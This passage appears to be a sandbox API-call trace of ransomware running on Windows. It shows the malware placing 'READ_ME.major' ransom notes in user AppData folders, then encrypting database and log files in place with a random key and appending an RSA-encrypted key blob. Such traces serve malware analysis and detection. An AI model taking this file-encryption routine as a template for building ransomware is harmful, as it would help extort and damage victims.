hTemplateFile=0x0) returned 0x9a0 [0191.609] WriteFile (in: hFile=0x9a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.610] CloseHandle (hObject=0x9a0) returned 1 [0191.610] FindNextFileW (in: hFindFile=0x2f86a68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245961a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x245961a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.610] FindNextFileW (in: hFindFile=0x2f86a68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245961a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x245961a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0191.610] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdb1a72e3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86b28 [0191.610] FindNextFileW (in: hFindFile=0x2f86b28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdb1a72e3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.610] FindNextFileW (in: hFindFile=0x2f86b28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2fbade0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Fonts", cAlternateFileName="")) returned 1 [0191.610] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\Fonts\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\publishers\\8wekyb3d8bbwe\\fonts\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a4 [0191.611] WriteFile (in: hFile=0x9a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.612] CloseHandle (hObject=0x9a4) returned 1 [0191.612] FindNextFileW (in: hFindFile=0x2f86b28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28ee7f08, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x28ee7f08, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x28ee7f08, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Licenses", cAlternateFileName="")) returned 1 [0191.612] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\Licenses\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\publishers\\8wekyb3d8bbwe\\licenses\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a4 [0191.614] WriteFile (in: hFile=0x9a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.615] CloseHandle (hObject=0x9a4) returned 1 [0191.615] FindNextFileW (in: hFindFile=0x2f86b28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea121655, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea121655, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xea121655, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Microsoft.WindowsAlarms", cAlternateFileName="MICROS~1.WIN")) returned 1 [0191.615] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\Microsoft.WindowsAlarms\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\publishers\\8wekyb3d8bbwe\\microsoft.windowsalarms\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a4 [0191.616] WriteFile (in: hFile=0x9a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.617] CloseHandle (hObject=0x9a4) returned 1 [0191.617] FindNextFileW (in: hFindFile=0x2f86b28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246fb69b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x246fb69b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.617] FindNextFileW (in: hFindFile=0x2f86b28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdb1a72e3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdb1a72e3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdb1a72e3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SettingsContainer", cAlternateFileName="SETTIN~1")) returned 1 [0191.617] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\SettingsContainer\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\publishers\\8wekyb3d8bbwe\\settingscontainer\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a4 [0191.617] WriteFile (in: hFile=0x9a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.618] CloseHandle (hObject=0x9a4) returned 1 [0191.618] FindNextFileW (in: hFindFile=0x2f86b28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdb1a72e3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdb1a72e3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdb1a72e3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SettingsContainer", cAlternateFileName="SETTIN~1")) returned 0 [0191.618] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe3309105, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86ce8 [0191.618] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe3309105, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1eb87d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d1eb87d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x8d115f6, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="EDB.chk", cAlternateFileName="")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xcb6e1300, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x8d115f6, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="EDB.log", cAlternateFileName="")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3cffbae0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xe332f20e, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="EDB00005.log", cAlternateFileName="")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1c563b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d1c563b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3d1c563b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="EDBres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d1eb87d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d1eb87d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x3d1eb87d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="EDBres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3cdbf8a7, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xe1018d51, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="EDBtmp.log", cAlternateFileName="")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246fb69b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x246fb69b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x246fb69b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d532a92, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3d532a92, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xa95739c, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="vedatamodel.edb", cAlternateFileName="VEDATA~1.EDB")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc21df919, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc21df919, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8c7bc13, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="vedatamodel.jfm", cAlternateFileName="VEDATA~1.JFM")) returned 1 [0191.619] FindNextFileW (in: hFindFile=0x2f86ce8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc21df919, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc21df919, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8c7bc13, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="vedatamodel.jfm", cAlternateFileName="VEDATA~1.JFM")) returned 0 [0191.619] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0191.619] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.jfm", dwFileAttributes=0x80) returned 1 [0191.619] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.jfm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\vedatamodel.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.619] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0191.619] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb", dwFileAttributes=0x80) returned 1 [0191.620] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.620] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0191.620] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDBtmp.log", dwFileAttributes=0x80) returned 1 [0191.620] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDBtmp.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8 [0191.620] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2097152) returned 1 [0191.621] ReadFile (in: hFile=0x9a8, lpBuffer=0x3147020, nNumberOfBytesToRead=0x200000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x200000, lpOverlapped=0x0) returned 1 [0191.677] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=-2097152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.677] WriteFile (in: hFile=0x9a8, lpBuffer=0x335e020*, nNumberOfBytesToWrite=0x200000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x335e020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x200000, lpOverlapped=0x0) returned 1 [0191.685] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x200000 [0191.685] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0191.685] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0191.701] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0191.701] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0191.701] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0191.701] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="0k7pswqMciNnuvtLp5EO6mnkHnTZm0H3mPTtVu2WChbOc8C2MxFerij2IfFEwzN9\np/jTNeC05VTBwel7uGt1USr5GRAgL4ksqliXVvRCnrshdDhHpCgZt8NwCcNVsWdk\nZgPEf8ypaO607ySyir8xYnsH/MI00f44busOHD8e8zuzh4C8zfdMBjNEoi1+rju2\nHiWpWtZvRVXWixMqmRZCsonXkg7U+ioWWr33IqwjoVw9GgozFiLUk0zgtTFW+Cf5\nb6rs0SHEisl509ChVJql48t/UnIgq1RkXXLsoliUpfjf6oFY1JG5SvWMNfF4RxJN\nRblWGWSr/zt+/R0VvdrehQ==\n", pcchString=0x2e3f9a8) returned 1 [0191.701] WriteFile (in: hFile=0x9a8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0191.701] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0191.701] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0191.701] CloseHandle (hObject=0x9a8) returned 1 [0191.888] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0191.888] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDBres00002.jrs", dwFileAttributes=0x80) returned 1 [0191.889] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDBres00002.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8 [0191.889] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2097152) returned 1 [0191.889] ReadFile (in: hFile=0x9a8, lpBuffer=0x3143020, nNumberOfBytesToRead=0x200000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3143020*, lpNumberOfBytesRead=0x2e3f9b4*=0x200000, lpOverlapped=0x0) returned 1 [0191.973] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=-2097152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.973] WriteFile (in: hFile=0x9a8, lpBuffer=0x3356020*, nNumberOfBytesToWrite=0x200000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3356020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x200000, lpOverlapped=0x0) returned 1 [0191.982] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x200000 [0191.983] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0191.983] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.002] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.002] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.003] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.003] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GATJodqwMQJGtYc7WHRHKk0SmF/m/vbq0pHBR1fK3OocxAzlTbmdC9jz/hm72gbI\nvfiDOFUly52O7qsGioBPjwaKBpCgmLp1l8Ppap2LXOL/NeKW/Ajrj0J3k+ekSBSO\nr0X3feKquyrV8bsFaGW1ih4OVSD2HVA8Q7xEy9VNCwGnA0Iw6RwsAf8DmefIoa8i\n5t6rj/4T+WvMlJhFmi1fFk+NG8zZAvo5LglHNjjtVY2fcF50h0+yyXea01nAuMof\nOZ9jYn9QoOvmqsMNFQSDn1mU7Niu/X6y+p0J6oAoN5J6J0I5LjjxYiIdN7e+lRW/\nSb2Zba4XHiQvB7GT72H7MQ==\n", pcchString=0x2e3f9a8) returned 1 [0192.003] WriteFile (in: hFile=0x9a8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.003] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.003] WriteFile (in: hFile=0x9a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.003] CloseHandle (hObject=0x9a8) returned 1 [0192.005] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.005] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDBres00001.jrs", dwFileAttributes=0x80) returned 1 [0192.005] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\EDBres00001.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 